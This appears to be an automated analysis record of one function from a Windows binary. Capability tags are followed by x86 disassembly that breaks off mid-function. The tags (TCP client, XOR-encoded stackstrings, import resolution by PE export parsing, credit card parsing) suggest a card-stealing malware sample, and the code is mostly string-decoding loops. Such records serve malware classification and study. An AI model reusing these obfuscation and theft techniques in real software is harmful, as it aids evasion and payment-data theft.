Function at 0x464f5e
Capabilities:
Access peb ldr_data
Act as tcp client
Authenticate hmac
Check os version
Connect socket
Connect tcp socket
Contain obfuscated stackstrings
Convert ip address from string
Create tcp socket
Encode data using xor
Get number of processors
Get socket status
Hash data using fnv
Initialize winsock library
Parse credit card information
Parse pe header
Receive data
Receive data on socket
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x558
movaps xmm0, xmmword [0x473950]
movups xmmword [esp + 0x88], xmm0
mov dword [esp + 0x98], 0xbb5fb54e
mov word [esp + 0x9c], 0xb9ba
xor eax, eax
mov dword [esp + 0xa2], eax
mov dword [esp + 0x9e], eax
mov dword [esp + 0xa6], eax
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov edi, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x45ec5a
movzx edx, byte [esp + eax + 0x88]
lea ebp, [edi + 1]
cmp esi, ebp
jae 0x45e67c
lea ecx, [eax + 0x27a3b365]
lea ebx, [eax + edx]
add ebx, 0x27a3b365
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x3d
cmp edi, eax
ja 0x45ec6c
mov dword [esp], ebp
lea ebp, [edi + 3]
cmp esi, ebp
jae 0x45e6c3
lea ecx, [eax + 0x406db749]
lea ebx, [eax + edx]
add ebx, 0x406db749
and ecx, edx
add ecx, ecx
sub ebx, ecx
inc bl
lea ecx, [esi + edi]
cmp ecx, eax
jbe 0x45e70b
lea ecx, [edi + 6]
cmp esi, ecx
jne 0x45e7ee
lea ecx, [eax + 0x579e7c30]
lea ebx, [eax + edx]
add ebx, 0x579e7c30
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xb0
jmp 0x45e7e6
jne 0x45e69b
lea ecx, [eax + 0x76eb1a2f]
lea ebx, [eax + edx]
add ebx, 0x76eb1a2f
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xb7
jmp 0x45e99c
lea ecx, [edi + 3]
cmp esi, ecx
jne 0x45e79b
lea ecx, [eax - 0x4bf74aa9]
lea ebx, [eax + edx]
add ebx, 0xb408b557
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x9f
jmp 0x45e9dd
cmp esi, dword [esp]
jne 0x45e7c3
lea ecx, [eax - 0x704ae1ed]
lea ebx, [eax + edx]
add ebx, 0x8fb51e13
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x7b
mov ebp, dword [esp]
lea edi, [eax - 0xd22d25d]
lea ecx, [edx + eax]
add ecx, 0xf2dd2da3
and edi, edx
add edi, edi
sub ecx, edi
add cl, 0x8b
mov byte [esp + eax + 0x88], cl
jmp 0x45ea11
lea ecx, [edi + 5]
cmp esi, ecx
jae 0x45e811
mov dword [esp + 4], ecx
lea ecx, [eax + 0x27a3b365]
lea ebx, [eax + edx]
add ebx, 0x27a3b365
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x3d
lea ecx, [edi + 8]
cmp esi, ecx
jbe 0x45e884
mov dword [esp + 8], ecx
lea ecx, [eax + 0x7201bf11]
lea ebx, [eax + edx]
add ebx, 0x7201bf11
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x89
cmp esi, 9
ja 0x45e9a2
cmp esi, dword [esp]
jbe 0x45ea98
lea ecx, [eax - 0x4d9089a6]
lea ebx, [eax + edx]
add ebx, 0xb26f765a
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x8a
cmp edi, 2
mov ebp, dword [esp]
ja 0x45eb05
mov byte [esp + eax + 0x88], bl
jmp 0x45ea14
lea ecx, [edi + 5]
cmp esi, ecx
jne 0x45e837
lea ecx, [eax + 0x3501c21]
lea ebx, [eax + edx]
add ebx, 0x3501c21
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x19
jmp 0x45e9bc
lea ecx, [edi + 2]
cmp esi, ecx
jne 0x45e85f
lea ecx, [eax - 0x21037b23]
lea ebx, [eax + edx]
add ebx, 0xdefc84dd
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xf5
mov ebp, dword [esp]
jmp 0x45ea11
lea ecx, [edi + 5]
cmp esi, ecx
jne 0x45e8aa
lea ebp, [eax - 0x1bfc81de]
lea ebx, [eax + edx]
add ebx, 0xe4037e22
and ebp, edx
mov cl, 0x12
jmp 0x45e93c
cmp esi, dword [esp]
jne 0x45e8d2
lea ecx, [eax - 0x7f24916e]
lea ebx, [eax + edx]
add ebx, 0x80db6e92
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 2
jmp 0x45e99c
lea ecx, [edi + 4]
cmp esi, ecx
jne 0x45e8f6
lea ecx, [eax + 0x529782eb]
lea ebx, [eax + edx]
add ebx, 0x529782eb
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x93
jmp 0x45ea0f
cmp esi, ebp
jne 0x45e91e
lea ecx, [eax - 0x332d46c5]
lea ebx, [eax + edx]
add ebx, 0xccd2b93b
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x63
jmp 0x45e9dd
cmp esi, dword [esp]
jne 0x45e9e8
lea ecx, [eax - 0x3eb6da25]
lea ebx, [eax + edx]
add ebx, 0xc14925db
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 3
jmp 0x45e6e4
lea ecx, [edi + 2]
cmp esi, ecx
jne 0x45ec3e
lea ecx, [eax - 0x7d6db44a]
lea ebx, [eax + edx]
add ebx, 0x82924bb6
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 6
jmp 0x45e99c
mov dword [esp + 4], ecx
lea ecx, [edi + 2]
cmp esi, ecx
jne 0x45ea23
lea ebp, [eax + 0x1f6a3c26]
lea ebx, [eax + edx]
add ebx, 0x1f6a3c26
and ebp, edx
mov cl, 0xf6
jmp 0x45e93c
lea ecx, [edi + 7]
cmp esi, ecx
jne 0x45ea48
lea ecx, [eax - 0x5e21164b]
lea ebx, [eax + edx]
add ebx, 0xa1dee9b5
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xd
jmp 0x45ea11
lea ecx, [edi + 7]
cmp esi, ecx
jne 0x45ea70
lea ebp, [eax + 0x6b6186cf]
lea ebx, [eax + edx]
add ebx, 0x6b6186cf
and ebp, edx
mov cl, 0x57
add ebp, ebp
sub ebx, ebp
add bl, cl
lea ebp, [eax - 0x6e9404c9]
lea ecx, [edx + eax]
add ecx, 0x916bfb37
and ebp, edx
add ebp, ebp
sub ecx, ebp
add cl, 0x7f
mov byte [esp + eax + 0x88], cl
movzx ecx, cl
not edi
add edi, eax
sub edi, ecx
mov eax, edi
mov edi, dword [esp]
lea ebp, [eax - 0x46f05164]
lea ecx, [eax + edx]
add ecx, 0xb90fae9c
and ebp, edx
add ebp, ebp
sub ecx, ebp
add cl, 0xbc
mov byte [esp + eax + 0x88], cl
sub eax, esi
inc esi
movzx edx, byte [esp + eax + 0x86]
add eax, 0xfffffffe
add edx, edi
add eax, edx
jmp 0x45ea14
lea ecx, [eax + 0x1a80e108]
lea ebx, [eax + edx]
add ebx, 0x1a80e108
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, dl
add bl, 0xc8
lea ebp, [eax + 0x4224946d]
lea ecx, [edx + eax]
add ecx, 0x4224946d
and ebp, edx
add ebp, ebp
sub ecx, ebp
add cl, bl
add cl, 5
mov byte [esp + eax + 0x88], cl
add esi, edi
movzx ecx, bl
not ecx
add eax, ecx
jmp 0x45ea14
mov dword [esp + 8], ecx
lea ecx, [edi + 2]
cmp esi, ecx
jne 0x45eabb
lea ecx, [eax + 0x5fd7f36f]
lea ebx, [eax + edx]
add ebx, 0x5fd7f36f
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xf7
mov ebp, edi
dec eax
mov edi, ebp
inc eax
cmp eax, 0x22
jb 0x45e5ed
jmp 0x45ec63
lea ecx, [edi + 4]
cmp esi, ecx
jne 0x45eae0
lea ecx, [eax + 0x6eb1a2f0]
lea ebx, [eax + edx]
add ebx, 0x6eb1a2f0
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x70
jmp 0x45e9df
lea ecx, [edi + 2]
cmp esi, ecx
jne 0x45e61c
lea ecx, [eax - 0xed9af81]
lea ebx, [eax + edx]
add ebx, 0xf126507f
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x87
jmp 0x45e6e7
lea ecx, [edi + 9]
cmp esi, ecx
jne 0x45e649
lea ecx, [eax + 0x9f05463]
lea ebx, [eax + edx]
add ebx, 0x9f05463
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x4b
jmp 0x45e99c
jne 0x45eb24
lea ecx, [eax + 0x1b6dd24]
lea ebx, [eax + edx]
add ebx, 0x1b6dd24
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 4
jmp 0x45e99c
cmp esi, ebp
jne 0x45eb48
lea ecx, [eax - 0x50e0a5c7]
lea ebx, [eax + edx]
add ebx, 0xaf1f5a39
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x71
jmp 0x45e9bc
cmp esi, ebp
jne 0x45e732
lea ecx, [eax - 0x4e95b1e]
lea ebx, [eax + edx]
add ebx, 0xfb16a4e2
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xd2
jmp 0x45e6e4
lea ecx, [eax - 0x34c685c2]
lea ebx, [eax + edx]
add ebx, 0xcb397a3e
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, bl
add bl, 0x9c
jmp 0x45e6e7
lea ecx, [edi + 2]
cmp esi, ecx
jne 0x45eb6d
lea ecx, [eax + 0x50fe43ee]
lea ebx, [eax + edx]
add ebx, 0x50fe43ee
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x7e
jmp 0x45e96f
mov ecx, dword [esp + 4]
cmp esi, ecx
jne 0x45eb89
lea ecx, [eax + 0x4dae27cd]
lea ebx, [eax + edx]
add ebx, 0x4dae27cd
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x65
jmp 0x45e9df
cmp esi, ebp
jne 0x45eba8
lea ebp, [eax - 0x5fba5548]
lea ebx, [eax + edx]
add ebx, 0xa045aab8
and ebp, edx
mov cl, 0xf8
jmp 0x45e93c
lea ecx, [edi + 4]
cmp esi, ecx
jne 0x45ebcb
lea ebp, [eax - 0x630a7169]
lea ebx, [eax + edx]
add ebx, 0x9cf58e97
and ebp, edx
mov cl, 0xdf
jmp 0x45e93c
cmp esi, dword [esp + 4]
jne 0x45ebf3
lea ecx, [eax + 0x3ed4784c]
lea ebx, [eax + edx]
add ebx, 0x3ed4784c
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xec
jmp 0x45e9dd
lea ecx, [edi + 7]
cmp esi, ecx
jne 0x45e759
lea ecx, [eax + 0x3b845c2b]
lea ebx, [eax + edx]
add ebx, 0x3b845c2b
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xd3
jmp 0x45e99c
lea ecx, [edi + 4]
cmp esi, ecx
jne 0x45ec17
lea ecx, [eax - 0x229cba20]
lea ebx, [eax + edx]
add ebx, 0xdd6345e0
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xe0
jmp 0x45ea0f
cmp esi, dword [esp + 8]
jne 0x45e783
lea ecx, [eax + 0x7bf21374]
lea ebx, [eax + edx]
add ebx, 0x7bf21374
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xd4
jmp 0x45e6e4
lea ebx, [eax + edx]
add ebx, 0x48c4ccaf
add eax, 0x48c4ccaf
and eax, edx
add eax, eax
sub ebx, eax
add bl, 0x37
jmp 0x45e5dd
lea edi, [esp + 0xa03bc9]
jmp 0x45ec73
lea edi, [esp + 0x88]
jmp 0x45ec73
lea edi, [esp + 0x17c8864]
mov dword [esp + 0xd4], 0
mov dword [esp + 0xe8], 7
mov word [esp + 0xd4], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x45eccb
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x45ecf0
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x45ed09
lea eax, [esp + 0xd4]
mov dword [eax + 0x10], esi
mov ecx, esi
add ecx, esi
push ecx
push edi
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0xd4], 0
jmp 0x45ed50
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x45ed18
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x45ed23
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0xe4], esi
mov dword [esp + 0xe8], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0xd4], edi
movaps xmm0, xmmword [0x473960]
movups xmmword [esp + 0x33c], xmm0
movaps xmm0, xmmword [0x473970]
movups xmmword [esp + 0x34c], xmm0
xor eax, eax
mov dword [esp + 0x35d], eax
mov dword [esp + 0x359], eax
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x45f0ec
mov bl, byte [esp + eax + 0x33c]
movzx edx, bl
lea ebp, [ecx + 1]
cmp esi, ebp
jae 0x45ee06
cmp ecx, eax
ja 0x45f0fe
lea edi, [ecx + 9]
cmp esi, edi
jae 0x45ee77
lea edi, [esi + ecx]
mov dword [esp], edi
cmp edi, eax
jbe 0x45eeb4
lea edi, [ecx + 2]
cmp esi, edi
je 0x45ef73
lea edi, [ecx + 5]
cmp esi, edi
je 0x45f007
lea edi, [ecx + 4]
cmp esi, edi
jne 0x45f036
lea esi, [eax + 0x713fc0]
lea ebx, [eax + edx]
add ebx, 0x713fc0
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0xc0
jmp 0x45ef3b
je 0x45ee6b
lea edi, [ecx + 3]
cmp esi, edi
jne 0x45ef43
lea edi, [eax + 0x231cede0]
lea ebx, [eax + edx]
add ebx, 0x231cede0
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xe0
mov byte [esp + eax + 0x33c], bl
movzx edi, bl
not ecx
add ecx, eax
sub ecx, edi
mov eax, ecx
mov ecx, ebp
lea edi, [eax + 0x4e81af80]
lea ebx, [eax + edx]
add ebx, 0x4e81af80
and edi, edx
add edi, edi
sub ebx, edi
xor bl, 0x80
mov byte [esp + eax + 0x33c], bl
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0x33a]
add eax, 0xfffffffe
movzx edx, bl
add edx, ecx
add eax, edx
jmp 0x45f00c
cmp esi, ebp
je 0x45ef73
lea edi, [ecx + 3]
cmp esi, edi
je 0x45f007
lea edi, [ecx + 2]
cmp esi, edi
jne 0x45f01b
lea edi, [eax + 0x41337260]
lea ebx, [eax + edx]
add ebx, 0x41337260
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x60
add esi, ecx
jmp 0x45ef62
mov dword [esp + 4], ebx
lea edi, [eax + 0x2b64c1a0]
lea ebx, [eax + edx]
add ebx, 0x2b64c1a0
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xa0
mov dword [esp + 8], ebx
cmp esi, ebp
jbe 0x45ef69
lea edi, [eax + 0x57022320]
lea ebx, [eax + edx]
add ebx, 0x57022320
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x20
mov dword [esp + 8], ebx
mov ebx, dword [esp + 4]
cmp esi, 8
ja 0x45efaf
cmp esi, ebp
je 0x45ee6b
lea edi, [ecx + 2]
cmp esi, edi
je 0x45ee13
lea edi, [ecx + 4]
cmp esi, edi
jne 0x45f0ac
lea esi, [eax - 0x67ca6a80]
lea ebx, [eax + edx]
add ebx, 0x98359580
and esi, edx
add esi, esi
sub ebx, esi
xor bl, 0x80
mov edi, dword [esp]
jmp 0x45eff5
lea edi, [ecx + 4]
cmp esi, edi
jne 0x45ef94
lea edi, [eax - 0x79753160]
lea ebx, [eax + edx]
add ebx, 0x868acea0
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xa0
mov edi, esi
jmp 0x45eff5
mov ebx, dword [esp + 4]
jne 0x45f000
lea edi, [eax + 0x7589e760]
lea ecx, [eax + edx]
add ecx, 0x7589e760
and edi, edx
add edi, edi
sub ecx, edi
add cl, 0x60
mov byte [esp + eax + 0x33c], cl
jmp 0x45f009
lea edi, [ecx + 7]
cmp esi, edi
je 0x45f007
lea edi, [ecx + 6]
cmp esi, edi
je 0x45f009
lea edi, [ecx + 8]
cmp esi, edi
jne 0x45eda7
jmp 0x45ef73
lea esi, [eax - 0x5f115700]
mov ebp, edx
add edx, eax
add edx, 0xa0eea900
and esi, ebp
add esi, esi
sub edx, esi
mov dword [esp + 4], edx
mov edi, dword [esp]
mov edx, dword [esp + 4]
add dl, bl
lea esi, [eax - 0x33ac9560]
lea ebx, [eax + ebp]
add ebx, 0xcc536aa0
and esi, ebp
add esi, esi
sub ebx, esi
add bl, dl
add bl, 0xa0
mov byte [esp + eax + 0x33c], bl
mov ebx, edx
movzx edx, bl
not edx
add eax, edx
mov esi, edi
jmp 0x45f00c
lea edi, [ecx + 3]
cmp esi, edi
jne 0x45f051
mov ebp, ecx
dec eax
mov ecx, ebp
inc eax
cmp eax, 0x25
jb 0x45ed8e
jmp 0x45f0f5
lea edi, [ecx + 5]
cmp esi, edi
jne 0x45f076
lea edi, [eax - 0x68030a60]
lea ebx, [eax + edx]
add ebx, 0x97fcf5a0
jmp 0x45ef59
lea edi, [ecx + 8]
cmp esi, edi
je 0x45ee13
lea edx, [ecx + 0x10]
cmp esi, edx
je 0x45ee6b
jmp 0x45ed7e
lea edi, [ecx + 4]
cmp esi, edi
jne 0x45f086
lea esi, [eax - 0x4dd7cfe0]
lea ebx, [eax + edx]
add ebx, 0xb2283020
and esi, edx
add esi, esi
sub ebx, esi
mov ebp, edx
mov dl, 0x20
jmp 0x45efc5
lea edi, [ecx + 4]
cmp esi, edi
jne 0x45edba
jmp 0x45ee6b
lea edi, [ecx + 7]
cmp esi, edi
je 0x45ee13
lea edi, [ecx + 6]
cmp esi, edi
je 0x45ee3f
lea edi, [ecx + 8]
cmp esi, edi
je 0x45ee6b
jmp 0x45eefc
lea edi, [ecx + 5]
cmp esi, edi
jne 0x45f0d1
lea esi, [eax - 0x1100e740]
lea ebx, [eax + edx]
add ebx, 0xeeff18c0
and esi, edx
add esi, esi
sub ebx, esi
mov ebp, edx
mov dl, 0xc0
jmp 0x45efc5
lea edx, [ecx + 3]
cmp esi, edx
je 0x45f007
mov edx, dword [esp + 8]
mov byte [esp + eax + 0x33c], dl
jmp 0x45f00c
lea edi, [esp + 0xd6dc5c]
jmp 0x45f105
lea edi, [esp + 0x33c]
jmp 0x45f105
lea edi, [esp + 0x1721abc]
mov dword [esp + 0xec], 0
mov dword [esp + 0x100], 7
mov word [esp + 0xec], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x45f15d
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x45f186
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x45f19f
mov dword [esp + 0xfc], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0xf4]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0xec], 0
jmp 0x45f1e6
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x45f1ae
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x45f1b9
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0xfc], esi
mov dword [esp + 0x100], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0xec], edi
movaps xmm0, xmmword [0x473980]
movups xmmword [esp + 0x64], xmm0
mov dword [esp + 0x74], 0x9b079d14
mov word [esp + 0x78], 0x9998
xor eax, eax
mov dword [esp + 0x7e], eax
mov dword [esp + 0x7a], eax
mov dword [esp + 0x82], eax
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x45f40e
mov bl, byte [esp + eax + 0x64]
movzx ebp, bl
lea edi, [ecx + 1]
cmp esi, edi
jae 0x45f258
cmp ecx, eax
ja 0x45f41d
lea edx, [esi + ecx]
cmp edx, eax
jbe 0x45f293
mov dword [esp], edx
lea edx, [ecx + 0xa]
cmp esi, edx
jne 0x45f2c3
mov ecx, edi
jmp 0x45f347
je 0x45f3a0
lea edx, [ecx + 3]
cmp esi, edx
je 0x45f351
lea edx, [ecx + 5]
cmp esi, edx
jne 0x45f33c
lea edx, [eax - 0x48d5c0b6]
lea ebx, [eax + ebp]
add ebx, 0xb72a3f4a
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0xfa
add esi, ecx
mov dword [esp], esi
jmp 0x45f306
cmp edx, 4
je 0x45f351
cmp esi, edi
jne 0x45f2e4
lea edx, [eax - 0x19b145a2]
lea ecx, [eax + ebp]
add ecx, 0xe64eba5e
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0x6e
mov byte [esp + eax + 0x64], cl
mov ecx, esi
jmp 0x45f347
lea edx, [ecx + 3]
cmp esi, edx
jne 0x45f330
lea edx, [eax + 0x437f798c]
lea ebx, [eax + ebp]
add ebx, 0x437f798c
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0x2c
jmp 0x45f324
mov dword [esp], edx
lea edx, [ecx + 3]
cmp esi, edx
jne 0x45f34a
lea edx, [eax - 0x201fc3c6]
lea ebx, [eax + ebp]
add ebx, 0xdfe03c3a
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0x6a
lea esi, [eax - 0x73aac5be]
lea edx, [eax + ebp]
add edx, 0x8c553a42
and esi, ebp
add esi, esi
sub edx, esi
add dl, bl
add dl, 0x32
mov byte [esp + eax + 0x64], dl
movzx edx, bl
not edx
add eax, edx
mov esi, dword [esp]
jmp 0x45f3a7
lea edx, [ecx + 6]
cmp esi, edx
je 0x45f351
jmp 0x45f212
lea edx, [ecx + 2]
cmp esi, edx
jne 0x45f238
dec eax
jmp 0x45f3a7
lea edx, [ecx + 6]
cmp esi, edx
jne 0x45f3b3
lea ebx, [eax + 0x325bba26]
lea edx, [eax + ebp]
add edx, 0x325bba26
and ebx, ebp
add ebx, ebx
sub edx, ebx
add dl, 0xf6
mov byte [esp + eax + 0x64], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
lea edx, [eax + 0x55efa18]
lea ecx, [eax + ebp]
add ecx, 0x55efa18
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0x58
mov byte [esp + eax + 0x64], cl
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0x62]
add eax, 0xfffffffe
mov ecx, edi
movzx edx, bl
add edx, ecx
add eax, edx
inc eax
cmp eax, 0x22
jb 0x45f222
jmp 0x45f417
lea edx, [ecx + 4]
cmp esi, edx
jne 0x45f3be
mov edi, ecx
jmp 0x45f378
lea edx, [ecx + 8]
cmp esi, edx
je 0x45f3a0
cmp esi, 5
ja 0x45f3ef
lea edx, [ecx + 2]
cmp esi, edx
je 0x45f3ba
lea edi, [eax - 0x2cfcc00e]
lea edx, [eax + ebp]
add edx, 0xd3033ff2
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0x62
mov byte [esp + eax + 0x64], dl
jmp 0x45f3a7
lea esi, [eax - 0x46ae05b0]
lea edx, [eax + ebp]
add edx, 0xb951fa50
and esi, ebp
add esi, esi
sub edx, esi
add bl, dl
add bl, 0xd0
jmp 0x45f306
lea edi, [esp + 0xf236ee]
jmp 0x45f424
lea edi, [esp + 0x64]
jmp 0x45f424
lea edi, [esp + 0x16ef6fc]
mov dword [esp + 0x104], 0
mov dword [esp + 0x118], 7
mov word [esp + 0x104], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x45f47c
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x45f4a5
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x45f4be
mov dword [esp + 0x114], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x10c]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x104], 0
jmp 0x45f505
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x45f4cd
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x45f4d8
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x114], esi
mov dword [esp + 0x118], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x104], edi
movaps xmm0, xmmword [0x473990]
movups xmmword [esp + 0x464], xmm0
mov dword [esp + 0x474], 0x1b1a1db1
xorps xmm0, xmm0
movups xmmword [esp + 0x478], xmm0
xor eax, eax
mov dword [esp + 0x489], eax
mov dword [esp + 0x485], eax
call fcn.0046d640
mov edi, dword [eax]
call fcn.0046d646
mov eax, dword [eax]
xor ecx, ecx
cmp edi, ecx
ja 0x45f698
mov bl, byte [esp + ecx + 0x464]
movzx ebp, bl
lea edx, [eax + 1]
cmp edi, edx
jae 0x45f59c
cmp eax, ecx
ja 0x45f6aa
lea ebx, [edi + eax]
cmp ebx, ecx
ja 0x45f53a
cmp edi, edx
jne 0x45f61b
lea ebx, [ecx + 0x35f51436]
lea eax, [ecx + ebp]
add eax, 0x35f51436
and ebx, ebp
add ebx, ebx
sub eax, ebx
add al, 0x86
mov byte [esp + ecx + 0x464], al
jmp 0x45f64d
jne 0x45f5a2
mov edx, eax
jmp 0x45f612
lea ebx, [eax + 3]
cmp edi, ebx
jne 0x45f644
mov dword [esp], edi
lea edi, [ecx + 0x242b559e]
lea ebx, [ecx + ebp]
add ebx, 0x242b559e
and edi, ebp
add edi, edi
sub ebx, edi
add bl, 0xae
mov byte [esp + ecx + 0x464], bl
movzx edi, bl
not eax
add eax, ecx
mov esi, eax
sub esi, edi
lea ebx, [esi + 0x1fb8e5f8]
and ebx, ebp
lea ecx, [esi + ebp]
add ecx, 0x1fb8e5f8
add ebx, ebx
sub ecx, ebx
add cl, 0x38
mov byte [esp + esi + 0x464], cl
add edi, dword [esp]
inc dword [esp]
sub eax, edi
mov edi, dword [esp]
mov bl, byte [esp + eax + 0x462]
add eax, 0xfffffffe
mov ecx, eax
mov eax, edx
movzx esi, bl
add esi, edx
add ecx, esi
jmp 0x45f650
lea ebx, [eax + 2]
cmp edi, ebx
je 0x45f64b
lea ebx, [eax + 5]
cmp edi, ebx
jne 0x45f66c
lea edx, [ecx + 0x2a]
and edx, ebp
add edx, edx
add ebp, ecx
sub edx, ebp
add edx, 0xfb
or edx, 0xffffff00
add ecx, edx
jmp 0x45f650
lea ebx, [eax + 4]
cmp edi, ebx
jne 0x45f65c
mov edx, eax
dec ecx
mov eax, edx
inc ecx
cmp ecx, 0x29
jb 0x45f54a
jmp 0x45f6a1
lea ebx, [eax + 6]
cmp edi, ebx
jne 0x45f563
jmp 0x45f57a
lea ebx, [eax + 7]
cmp edi, ebx
je 0x45f5ad
lea ebx, [ecx - 0x4726fa6]
lea edx, [ecx + ebp]
add edx, 0xfb8d905a
and ebx, ebp
add ebx, ebx
sub edx, ebx
add dl, 0x8a
mov byte [esp + ecx + 0x464], dl
jmp 0x45f650
lea edi, [esp + 0x12a9136]
jmp 0x45f6b1
lea edi, [esp + 0x464]
jmp 0x45f6b1
lea edi, [esp + 0x15d00dc]
mov dword [esp + 0x11c], 0
mov dword [esp + 0x130], 7
mov word [esp + 0x11c], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x45f709
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x45f732
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x45f74b
mov dword [esp + 0x12c], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x124]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x11c], 0
jmp 0x45f792
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x45f75a
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x45f765
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x12c], esi
mov dword [esp + 0x130], ebx
mov eax, esi
add eax, esi
push eax
